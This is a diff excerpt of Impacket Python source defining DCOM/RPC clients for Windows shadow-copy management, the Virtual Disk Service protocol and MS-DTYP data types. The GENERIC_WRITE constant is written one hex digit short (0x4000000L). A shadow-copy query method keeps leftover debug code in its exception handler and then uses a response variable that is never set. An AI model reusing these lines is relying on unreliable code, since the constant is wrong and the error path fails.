req = GetProviderMgmtInterface()
|
||||
classInstance = self.get_cinstance()
|
||||
req['ORPCthis'] = classInstance.get_ORPCthis()
|
||||
req['ORPCthis']['flags'] = 0
|
||||
req['ProviderId'] = providerId
|
||||
req['InterfaceId'] = interfaceId
|
||||
resp = self.request(req, self._iid, uuid = self.get_iPid())
|
||||
return IVssDifferentialSoftwareSnapshotMgmt(INTERFACE(classInstance, ''.join(resp['ppItf']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
|
||||
|
||||
def QueryVolumesSupportedForSnapshots(self, providerId, iContext):
|
||||
req = QueryVolumesSupportedForSnapshots()
|
||||
classInstance = self.get_cinstance()
|
||||
req['ORPCthis'] = classInstance.get_ORPCthis()
|
||||
req['ORPCthis']['flags'] = 0
|
||||
req['ProviderId'] = providerId
|
||||
req['IContext'] = iContext
|
||||
resp = self.request(req, self._iid, uuid = self.get_iPid())
|
||||
return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),target = self.get_target()))
|
||||
|
||||
def QuerySnapshotsByVolume(self, volumeName, providerId = IID_ShadowCopyProvider):
|
||||
req = QuerySnapshotsByVolume()
|
||||
classInstance = self.get_cinstance()
|
||||
req['ORPCthis'] = classInstance.get_ORPCthis()
|
||||
req['ORPCthis']['flags'] = 0
|
||||
req['pwszVolumeName'] = volumeName
|
||||
req['ProviderId'] = providerId
|
||||
try:
|
||||
resp = self.request(req, self._iid, uuid = self.get_iPid())
|
||||
except DCERPCException, e:
|
||||
print e
|
||||
from impacket.winregistry import hexdump
|
||||
data = e.get_packet()
|
||||
hexdump(data)
|
||||
kk = QuerySnapshotsByVolumeResponse(data)
|
||||
kk.dump()
|
||||
#resp.dump()
|
||||
return IVssEnumObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
|
||||
|
||||
class IVssDifferentialSoftwareSnapshotMgmt(IRemUnknown2):
|
||||
def __init__(self, interface):
|
||||
IRemUnknown2.__init__(self, interface)
|
||||
self._iid = IID_IVssDifferentialSoftwareSnapshotMgmt
|
||||
|
||||
def QueryDiffAreasOnVolume(self, pwszVolumeName):
|
||||
req = QueryDiffAreasOnVolume()
|
||||
classInstance = self.get_cinstance()
|
||||
req['ORPCthis'] = classInstance.get_ORPCthis()
|
||||
req['ORPCthis']['flags'] = 0
|
||||
req['pwszVolumeName'] = pwszVolumeName
|
||||
resp = self.request(req, self._iid, uuid = self.get_iPid())
|
||||
return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
|
||||
|
||||
def QueryDiffAreasForVolume(self, pwszVolumeName):
|
||||
req = QueryDiffAreasForVolume()
|
||||
classInstance = self.get_cinstance()
|
||||
req['ORPCthis'] = classInstance.get_ORPCthis()
|
||||
req['ORPCthis']['flags'] = 0
|
||||
req['pwszVolumeName'] = pwszVolumeName
|
||||
resp = self.request(req, self._iid, uuid = self.get_iPid())
|
||||
return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,269 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# [MS-VDS]: Virtual Disk Service (VDS) Protocol
|
||||
# This was used as a way to test the DCOM runtime. Further
|
||||
# testing is needed to verify it is working as expected
|
||||
#
|
||||
# Best way to learn how to use these calls is to grab the protocol standard
|
||||
# so you understand what the call does, and then read the test case located
|
||||
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
|
||||
#
|
||||
# Since DCOM is like an OO RPC, instead of helper functions you will see the
|
||||
# classes described in the standards developed.
|
||||
# There are test cases for them too.
|
||||
#
|
||||
from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantVaryingArray, NDRENUM
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE
|
||||
from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.enum import Enum
|
||||
from impacket import hresult_errors
|
||||
from impacket.uuid import string_to_bin
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
if hresult_errors.ERROR_MESSAGES.has_key(self.error_code):
|
||||
error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
|
||||
error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1]
|
||||
return 'VDS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'VDS SessionError: unknown error code: 0x%x' % (self.error_code)
|
||||
|
||||
################################################################################
|
||||
# CONSTANTS
|
||||
################################################################################
|
||||
# 1.9 Standards Assignments
|
||||
CLSID_VirtualDiskService = string_to_bin('7D1933CB-86F6-4A98-8628-01BE94C9A575')
|
||||
IID_IEnumVdsObject = string_to_bin('118610B7-8D94-4030-B5B8-500889788E4E')
|
||||
IID_IVdsAdviseSink = string_to_bin('8326CD1D-CF59-4936-B786-5EFC08798E25')
|
||||
IID_IVdsAsync = string_to_bin('D5D23B6D-5A55-4492-9889-397A3C2D2DBC')
|
||||
IID_IVdsServiceInitialization = string_to_bin('4AFC3636-DB01-4052-80C3-03BBCB8D3C69')
|
||||
IID_IVdsService = string_to_bin('0818A8EF-9BA9-40D8-A6F9-E22833CC771E')
|
||||
IID_IVdsSwProvider = string_to_bin('9AA58360-CE33-4F92-B658-ED24B14425B8')
|
||||
IID_IVdsProvider = string_to_bin('10C5E575-7984-4E81-A56B-431F5F92AE42')
|
||||
|
||||
error_status_t = ULONG
|
||||
|
||||
# 2.2.1.1.3 VDS_OBJECT_ID
|
||||
VDS_OBJECT_ID = GUID
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
# 2.2.2.1.3.1 VDS_SERVICE_PROP
|
||||
class VDS_SERVICE_PROP(NDRSTRUCT):
|
||||
structure = (
|
||||
('pwszVersion',LPWSTR),
|
||||
('ulFlags',ULONG),
|
||||
)
|
||||
|
||||
class OBJECT_ARRAY(NDRUniConformantVaryingArray):
|
||||
item = PMInterfacePointer
|
||||
|
||||
# 2.2.2.7.1.1 VDS_PROVIDER_TYPE
|
||||
class VDS_PROVIDER_TYPE(NDRENUM):
|
||||
class enumItems(Enum):
|
||||
VDS_PT_UNKNOWN = 0
|
||||
VDS_PT_SOFTWARE = 1
|
||||
VDS_PT_HARDWARE = 2
|
||||
VDS_PT_VIRTUALDISK = 3
|
||||
VDS_PT_MAX = 4
|
||||
|
||||
# 2.2.2.7.2.1 VDS_PROVIDER_PROP
|
||||
class VDS_PROVIDER_PROP(NDRSTRUCT):
|
||||
structure = (
|
||||
('id',VDS_OBJECT_ID),
|
||||
('pwszName',LPWSTR),
|
||||
('guidVersionId',GUID),
|
||||
('pwszVersion',LPWSTR),
|
||||
('type',VDS_PROVIDER_TYPE),
|
||||
('ulFlags',ULONG),
|
||||
('ulStripeSizeFlags',ULONG),
|
||||
('sRebuildPriority',SHORT),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
|
||||
# 3.4.5.2.5.1 IVdsServiceInitialization::Initialize (Opnum 3)
|
||||
class IVdsServiceInitialization_Initialize(DCOMCALL):
|
||||
opnum = 3
|
||||
structure = (
|
||||
('pwszMachineName', LPWSTR),
|
||||
)
|
||||
|
||||
class IVdsServiceInitialization_InitializeResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
# 3.4.5.2.4.1 IVdsService::IsServiceReady (Opnum 3)
|
||||
class IVdsService_IsServiceReady(DCOMCALL):
|
||||
opnum = 3
|
||||
structure = (
|
||||
)
|
||||
|
||||
class IVdsService_IsServiceReadyResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
# 3.4.5.2.4.2 IVdsService::WaitForServiceReady (Opnum 4)
|
||||
class IVdsService_WaitForServiceReady(DCOMCALL):
|
||||
opnum = 4
|
||||
structure = (
|
||||
)
|
||||
|
||||
class IVdsService_WaitForServiceReadyResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
# 3.4.5.2.4.3 IVdsService::GetProperties (Opnum 5)
|
||||
class IVdsService_GetProperties(DCOMCALL):
|
||||
opnum = 5
|
||||
structure = (
|
||||
)
|
||||
|
||||
class IVdsService_GetPropertiesResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('pServiceProp', VDS_SERVICE_PROP),
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
# 3.4.5.2.4.4 IVdsService::QueryProviders (Opnum 6)
|
||||
class IVdsService_QueryProviders(DCOMCALL):
|
||||
opnum = 6
|
||||
structure = (
|
||||
('masks', DWORD),
|
||||
)
|
||||
|
||||
class IVdsService_QueryProvidersResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('ppEnum', PMInterfacePointer),
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
# 3.1.1.1 IEnumVdsObject Interface
|
||||
# 3.4.5.2.1.1 IEnumVdsObject::Next (Opnum 3)
|
||||
class IEnumVdsObject_Next(DCOMCALL):
|
||||
opnum = 3
|
||||
structure = (
|
||||
('celt', ULONG),
|
||||
)
|
||||
|
||||
class IEnumVdsObject_NextResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('ppObjectArray', OBJECT_ARRAY),
|
||||
('pcFetched', ULONG),
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
# 3.4.5.2.14.1 IVdsProvider::GetProperties (Opnum 3)
|
||||
class IVdsProvider_GetProperties(DCOMCALL):
|
||||
opnum = 3
|
||||
structure = (
|
||||
)
|
||||
|
||||
class IVdsProvider_GetPropertiesResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('pProviderProp', VDS_PROVIDER_PROP),
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
}
|
||||
|
||||
################################################################################
|
||||
# HELPER FUNCTIONS AND INTERFACES
|
||||
################################################################################
|
||||
class IEnumVdsObject(IRemUnknown2):
|
||||
def Next(self, celt=0xffff):
|
||||
request = IEnumVdsObject_Next()
|
||||
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
|
||||
request['ORPCthis']['flags'] = 0
|
||||
request['celt'] = celt
|
||||
try:
|
||||
resp = self.request(request, uuid = self.get_iPid())
|
||||
except Exception, e:
|
||||
resp = e.get_packet()
|
||||
# If it is S_FALSE(1) means less items were returned
|
||||
if resp['ErrorCode'] != 1:
|
||||
raise
|
||||
interfaces = list()
|
||||
for interface in resp['ppObjectArray']:
|
||||
interfaces.append(IRemUnknown2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target())))
|
||||
return interfaces
|
||||
|
||||
class IVdsProvider(IRemUnknown2):
|
||||
def GetProperties(self):
|
||||
request = IVdsProvider_GetProperties()
|
||||
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
|
||||
request['ORPCthis']['flags'] = 0
|
||||
resp = self.request(request, uuid = self.get_iPid())
|
||||
return resp
|
||||
|
||||
class IVdsServiceInitialization(IRemUnknown2):
|
||||
def __init__(self, interface):
|
||||
IRemUnknown2.__init__(self, interface)
|
||||
|
||||
def Initialize(self):
|
||||
request = IVdsServiceInitialization_Initialize()
|
||||
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
|
||||
request['ORPCthis']['flags'] = 0
|
||||
request['pwszMachineName'] = '\x00'
|
||||
resp = self.request(request, uuid = self.get_iPid())
|
||||
return resp
|
||||
|
||||
class IVdsService(IRemUnknown2):
|
||||
def __init__(self, interface):
|
||||
IRemUnknown2.__init__(self, interface)
|
||||
|
||||
def IsServiceReady(self):
|
||||
request = IVdsService_IsServiceReady()
|
||||
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
|
||||
request['ORPCthis']['flags'] = 0
|
||||
try:
|
||||
resp = self.request(request, uuid = self.get_iPid())
|
||||
except Exception, e:
|
||||
resp = e.get_packet()
|
||||
return resp
|
||||
|
||||
def WaitForServiceReady(self):
|
||||
request = IVdsService_WaitForServiceReady()
|
||||
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
|
||||
request['ORPCthis']['flags'] = 0
|
||||
resp = self.request(request, uuid = self.get_iPid())
|
||||
return resp
|
||||
|
||||
def GetProperties(self):
|
||||
request = IVdsService_GetProperties()
|
||||
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
|
||||
request['ORPCthis']['flags'] = 0
|
||||
resp = self.request(request, uuid = self.get_iPid())
|
||||
return resp
|
||||
|
||||
def QueryProviders(self, masks):
|
||||
request = IVdsService_QueryProviders()
|
||||
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
|
||||
request['ORPCthis']['flags'] = 0
|
||||
request['masks'] = masks
|
||||
resp = self.request(request, uuid = self.get_iPid())
|
||||
return IEnumVdsObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,519 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# [MS-DTYP] Interface mini implementation
|
||||
#
|
||||
from struct import pack
|
||||
|
||||
from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \
|
||||
NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \
|
||||
NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL
|
||||
|
||||
DWORD = NDRULONG
|
||||
BOOL = NDRULONG
|
||||
UCHAR = NDRUSMALL
|
||||
SHORT = NDRSHORT
|
||||
NULL = NULL
|
||||
|
||||
class LPDWORD(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', DWORD),
|
||||
)
|
||||
|
||||
class PSHORT(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', SHORT),
|
||||
)
|
||||
|
||||
class PBOOL(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', BOOL),
|
||||
)
|
||||
|
||||
class LPBYTE(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', NDRUniConformantArray),
|
||||
)
|
||||
PBYTE = LPBYTE
|
||||
|
||||
# 2.2.4 BOOLEAN
|
||||
BOOLEAN = NDRBOOLEAN
|
||||
|
||||
# 2.2.6 BYTE
|
||||
BYTE = NDRUSMALL
|
||||
|
||||
# 2.2.7 CHAR
|
||||
CHAR = NDRSMALL
|
||||
class PCHAR(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', CHAR),
|
||||
)
|
||||
|
||||
class WIDESTR(NDRUniFixedArray):
|
||||
def getDataLen(self, data):
|
||||
return data.find('\x00\x00\x00')+3
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
if key == 'Data':
|
||||
try:
|
||||
self.fields[key] = value.encode('utf-16le')
|
||||
except UnicodeDecodeError:
|
||||
import sys
|
||||
self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
|
||||
|
||||
self.data = None # force recompute
|
||||
else:
|
||||
return NDR.__setitem__(self, key, value)
|
||||
|
||||
def __getitem__(self, key):
|
||||
if key == 'Data':
|
||||
return self.fields[key].decode('utf-16le')
|
||||
else:
|
||||
return NDR.__getitem__(self,key)
|
||||
|
||||
class STR(NDRSTRUCT):
|
||||
commonHdr = (
|
||||
('MaximumCount', '<L=len(Data)'),
|
||||
('Offset','<L=0'),
|
||||
('ActualCount','<L=len(Data)'),
|
||||
)
|
||||
commonHdr64 = (
|
||||
('MaximumCount', '<Q=len(Data)'),
|
||||
('Offset','<Q=0'),
|
||||
('ActualCount','<Q=len(Data)'),
|
||||
)
|
||||
structure = (
|
||||
('Data',':'),
|
||||
)
|
||||
|
||||
def dump(self, msg = None, indent = 0):
|
||||
if msg is None: msg = self.__class__.__name__
|
||||
if msg != '':
|
||||
print "%s" % msg,
|
||||
# Here just print the data
|
||||
print " %r" % (self['Data']),
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
if key == 'Data':
|
||||
self.fields[key] = value
|
||||
self.fields['MaximumCount'] = None
|
||||
self.fields['ActualCount'] = None
|
||||
self.data = None # force recompute
|
||||
else:
|
||||
return NDR.__setitem__(self, key, value)
|
||||
|
||||
def getDataLen(self, data):
|
||||
return self["ActualCount"]
|
||||
|
||||
class LPSTR(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', STR),
|
||||
)
|
||||
|
||||
class WSTR(NDRSTRUCT):
|
||||
commonHdr = (
|
||||
('MaximumCount', '<L=len(Data)/2'),
|
||||
('Offset','<L=0'),
|
||||
('ActualCount','<L=len(Data)/2'),
|
||||
)
|
||||
commonHdr64 = (
|
||||
('MaximumCount', '<Q=len(Data)/2'),
|
||||
('Offset','<Q=0'),
|
||||
('ActualCount','<Q=len(Data)/2'),
|
||||
)
|
||||
structure = (
|
||||
('Data',':'),
|
||||
)
|
||||
|
||||
def dump(self, msg = None, indent = 0):
|
||||
if msg is None: msg = self.__class__.__name__
|
||||
if msg != '':
|
||||
print "%s" % msg,
|
||||
# Here just print the data
|
||||
print " %r" % (self['Data']),
|
||||
|
||||
def getDataLen(self, data):
|
||||
return self["ActualCount"]*2
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
if key == 'Data':
|
||||
try:
|
||||
self.fields[key] = value.encode('utf-16le')
|
||||
except UnicodeDecodeError:
|
||||
import sys
|
||||
self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
|
||||
self.fields['MaximumCount'] = None
|
||||
self.fields['ActualCount'] = None
|
||||
self.data = None # force recompute
|
||||
else:
|
||||
return NDR.__setitem__(self, key, value)
|
||||
|
||||
def __getitem__(self, key):
|
||||
if key == 'Data':
|
||||
return self.fields[key].decode('utf-16le')
|
||||
else:
|
||||
return NDR.__getitem__(self,key)
|
||||
|
||||
class LPWSTR(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', WSTR),
|
||||
)
|
||||
|
||||
# 2.2.5 BSTR
|
||||
BSTR = LPWSTR
|
||||
|
||||
# 2.2.8 DOUBLE
|
||||
DOUBLE = NDRDOUBLEFLOAT
|
||||
class PDOUBLE(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', DOUBLE),
|
||||
)
|
||||
|
||||
# 2.2.15 FLOAT
|
||||
FLOAT = NDRFLOAT
|
||||
class PFLOAT(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', FLOAT),
|
||||
)
|
||||
|
||||
# 2.2.18 HRESULT
|
||||
HRESULT = NDRLONG
|
||||
class PHRESULT(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', HRESULT),
|
||||
)
|
||||
|
||||
# 2.2.19 INT
|
||||
INT = NDRLONG
|
||||
class PINT(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', INT),
|
||||
)
|
||||
|
||||
# 2.2.26 LMSTR
|
||||
LMSTR = LPWSTR
|
||||
|
||||
# 2.2.27 LONG
|
||||
LONG = NDRLONG
|
||||
class LPLONG(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', LONG),
|
||||
)
|
||||
|
||||
PLONG = LPLONG
|
||||
|
||||
# 2.2.28 LONGLONG
|
||||
LONGLONG = NDRHYPER
|
||||
|
||||
class PLONGLONG(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', LONGLONG),
|
||||
)
|
||||
|
||||
# 2.2.31 LONG64
|
||||
LONG64 = NDRUHYPER
|
||||
class PLONG64(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', LONG64),
|
||||
)
|
||||
|
||||
# 2.2.32 LPCSTR
|
||||
LPCSTR = LPSTR
|
||||
|
||||
# 2.2.36 NET_API_STATUS
|
||||
NET_API_STATUS = DWORD
|
||||
|
||||
# 2.2.52 ULONG_PTR
|
||||
ULONG_PTR = NDRULONG
|
||||
# 2.2.10 DWORD_PTR
|
||||
DWORD_PTR = ULONG_PTR
|
||||
|
||||
# 2.3.2 GUID and UUID
|
||||
class GUID(NDRSTRUCT):
|
||||
structure = (
|
||||
('Data','16s=""'),
|
||||
)
|
||||
|
||||
def getAlignment(self):
|
||||
return 4
|
||||
|
||||
class PGUID(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', GUID),
|
||||
)
|
||||
|
||||
UUID = GUID
|
||||
PUUID = PGUID
|
||||
|
||||
# 2.2.37 NTSTATUS
|
||||
NTSTATUS = DWORD
|
||||
|
||||
# 2.2.45 UINT
|
||||
UINT = NDRULONG
|
||||
class PUINT(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', UINT),
|
||||
)
|
||||
|
||||
# 2.2.50 ULONG
|
||||
ULONG = NDRULONG
|
||||
class PULONG(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', ULONG),
|
||||
)
|
||||
|
||||
LPULONG = PULONG
|
||||
|
||||
# 2.2.54 ULONGLONG
|
||||
ULONGLONG = NDRUHYPER
|
||||
class PULONGLONG(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', ULONGLONG),
|
||||
)
|
||||
|
||||
# 2.2.57 USHORT
|
||||
USHORT = NDRUSHORT
|
||||
class PUSHORT(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', USHORT),
|
||||
)
|
||||
|
||||
# 2.2.59 WCHAR
|
||||
WCHAR = WSTR
|
||||
PWCHAR = LPWSTR
|
||||
|
||||
# 2.2.61 WORD
|
||||
WORD = NDRUSHORT
|
||||
class PWORD(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', WORD),
|
||||
)
|
||||
LPWORD = PWORD
|
||||
|
||||
# 2.3.1 FILETIME
|
||||
class FILETIME(NDRSTRUCT):
|
||||
structure = (
|
||||
('dwLowDateTime', DWORD),
|
||||
('dwHighDateTime', LONG),
|
||||
)
|
||||
|
||||
class PFILETIME(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', FILETIME),
|
||||
)
|
||||
|
||||
# 2.3.3 LARGE_INTEGER
|
||||
LARGE_INTEGER = NDRHYPER
|
||||
class PLARGE_INTEGER(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', LARGE_INTEGER),
|
||||
)
|
||||
|
||||
# 2.3.5 LUID
|
||||
class LUID(NDRSTRUCT):
|
||||
structure = (
|
||||
('LowPart', DWORD),
|
||||
('HighPart', LONG),
|
||||
)
|
||||
|
||||
# 2.3.8 RPC_UNICODE_STRING
|
||||
class RPC_UNICODE_STRING(NDRSTRUCT):
|
||||
# Here we're doing some tricks to make this data type
|
||||
# easier to use. It's exactly the same as defined. I changed the
|
||||
# Buffer name for Data, so users can write directly to the datatype
|
||||
# instead of writing to datatype['Buffer'].
|
||||
# The drawback is you cannot directly access the Length and
|
||||
# MaximumLength fields.
|
||||
# If you really need it, you will need to do it this way:
|
||||
# class TT(NDRCALL):
|
||||
# structure = (
|
||||
# ('str1', RPC_UNICODE_STRING),
|
||||
# )
|
||||
#
|
||||
# nn = TT()
|
||||
# nn.fields['str1'].fields['MaximumLength'] = 30
|
||||
structure = (
|
||||
('Length','<H=0'),
|
||||
('MaximumLength','<H=0'),
|
||||
('Data',LPWSTR),
|
||||
)
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
if key == 'Data' and isinstance(value, NDR) is False:
|
||||
try:
|
||||
value.encode('utf-16le')
|
||||
except UnicodeDecodeError:
|
||||
import sys
|
||||
value = value.decode(sys.getfilesystemencoding())
|
||||
self['Length'] = len(value)*2
|
||||
self['MaximumLength'] = len(value)*2
|
||||
return NDRSTRUCT.__setitem__(self, key, value)
|
||||
|
||||
def dump(self, msg = None, indent = 0):
|
||||
if msg is None: msg = self.__class__.__name__
|
||||
if msg != '':
|
||||
print "%s" % msg,
|
||||
|
||||
if isinstance(self.fields['Data'] , NDRPOINTERNULL):
|
||||
print " NULL",
|
||||
elif self.fields['Data']['ReferentID'] == 0:
|
||||
print " NULL",
|
||||
else:
|
||||
return self.fields['Data'].dump('',indent)
|
||||
|
||||
class PRPC_UNICODE_STRING(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', RPC_UNICODE_STRING ),
|
||||
)
|
||||
|
||||
# 2.3.9 OBJECT_TYPE_LIST
|
||||
ACCESS_MASK = DWORD
|
||||
class OBJECT_TYPE_LIST(NDRSTRUCT):
|
||||
structure = (
|
||||
('Level', WORD),
|
||||
('Remaining',ACCESS_MASK),
|
||||
('ObjectType',PGUID),
|
||||
)
|
||||
|
||||
class POBJECT_TYPE_LIST(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', OBJECT_TYPE_LIST ),
|
||||
)
|
||||
|
||||
# 2.3.13 SYSTEMTIME
|
||||
class SYSTEMTIME(NDRSTRUCT):
|
||||
structure = (
|
||||
('wYear', WORD),
|
||||
('wMonth', WORD),
|
||||
('wDayOfWeek', WORD),
|
||||
('wDay', WORD),
|
||||
('wHour', WORD),
|
||||
('wMinute', WORD),
|
||||
('wSecond', WORD),
|
||||
('wMilliseconds', WORD),
|
||||
)
|
||||
|
||||
class PSYSTEMTIME(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', SYSTEMTIME ),
|
||||
)
|
||||
|
||||
# 2.3.15 ULARGE_INTEGER
|
||||
class ULARGE_INTEGER(NDRSTRUCT):
|
||||
structure = (
|
||||
('QuadPart', LONG64),
|
||||
)
|
||||
|
||||
class PULARGE_INTEGER(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', ULARGE_INTEGER),
|
||||
)
|
||||
|
||||
# 2.4.2.3 RPC_SID
|
||||
class DWORD_ARRAY(NDRUniConformantArray):
|
||||
item = '<L'
|
||||
|
||||
class RPC_SID_IDENTIFIER_AUTHORITY(NDRUniFixedArray):
|
||||
align = 1
|
||||
align64 = 1
|
||||
def getDataLen(self, data):
|
||||
return 6
|
||||
|
||||
class RPC_SID(NDRSTRUCT):
|
||||
structure = (
|
||||
('Revision',NDRSMALL),
|
||||
('SubAuthorityCount',NDRSMALL),
|
||||
('IdentifierAuthority',RPC_SID_IDENTIFIER_AUTHORITY),
|
||||
('SubAuthority',DWORD_ARRAY),
|
||||
)
|
||||
def getData(self, soFar = 0):
|
||||
self['SubAuthorityCount'] = len(self['SubAuthority'])
|
||||
return NDRSTRUCT.getData(self, soFar)
|
||||
|
||||
def fromCanonical(self, canonical):
|
||||
items = canonical.split('-')
|
||||
self['Revision'] = int(items[1])
|
||||
self['IdentifierAuthority'] = RPC_SID_IDENTIFIER_AUTHORITY()
|
||||
self['IdentifierAuthority'] = '\x00\x00\x00\x00\x00' + pack('B',int(items[2]))
|
||||
self['SubAuthorityCount'] = len(items) - 3
|
||||
for i in range(self['SubAuthorityCount']):
|
||||
self['SubAuthority'].append(int(items[i+3]))
|
||||
|
||||
def formatCanonical(self):
|
||||
ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority'][5]))
|
||||
for i in range(self['SubAuthorityCount']):
|
||||
ans += '-%d' % self['SubAuthority'][i]
|
||||
return ans
|
||||
|
||||
class PRPC_SID(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', RPC_SID),
|
||||
)
|
||||
|
||||
PSID = PRPC_SID
|
||||
|
||||
# 2.4.3 ACCESS_MASK
|
||||
GENERIC_READ = 0x80000000L
|
||||
GENERIC_WRITE = 0x4000000L
|
||||
GENERIC_EXECUTE = 0x20000000L
|
||||
GENERIC_ALL = 0x10000000L
|
||||
MAXIMUM_ALLOWED = 0x02000000L
|
||||
ACCESS_SYSTEM_SECURITY = 0x01000000L
|
||||
SYNCHRONIZE = 0x00100000L
|
||||
WRITE_OWNER = 0x00080000L
|
||||
WRITE_DACL = 0x00040000L
|
||||
READ_CONTROL = 0x00020000L
|
||||
DELETE = 0x00010000L
|
||||
|
||||
# 2.4.5.1 ACL--RPC Representation
|
||||
class ACL(NDRSTRUCT):
|
||||
structure = (
|
||||
('AclRevision',NDRSMALL),
|
||||
('Sbz1',NDRSMALL),
|
||||
('AclSize',NDRSHORT),
|
||||
('AceCount',NDRSHORT),
|
||||
('Sbz2',NDRSHORT),
|
||||
)
|
||||
|
||||
class PACL(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', ACL),
|
||||
)
|
||||
|
||||
# 2.4.6.1 SECURITY_DESCRIPTOR--RPC Representation
|
||||
class SECURITY_DESCRIPTOR(NDRSTRUCT):
|
||||
structure = (
|
||||
('Revision',UCHAR),
|
||||
('Sbz1',UCHAR),
|
||||
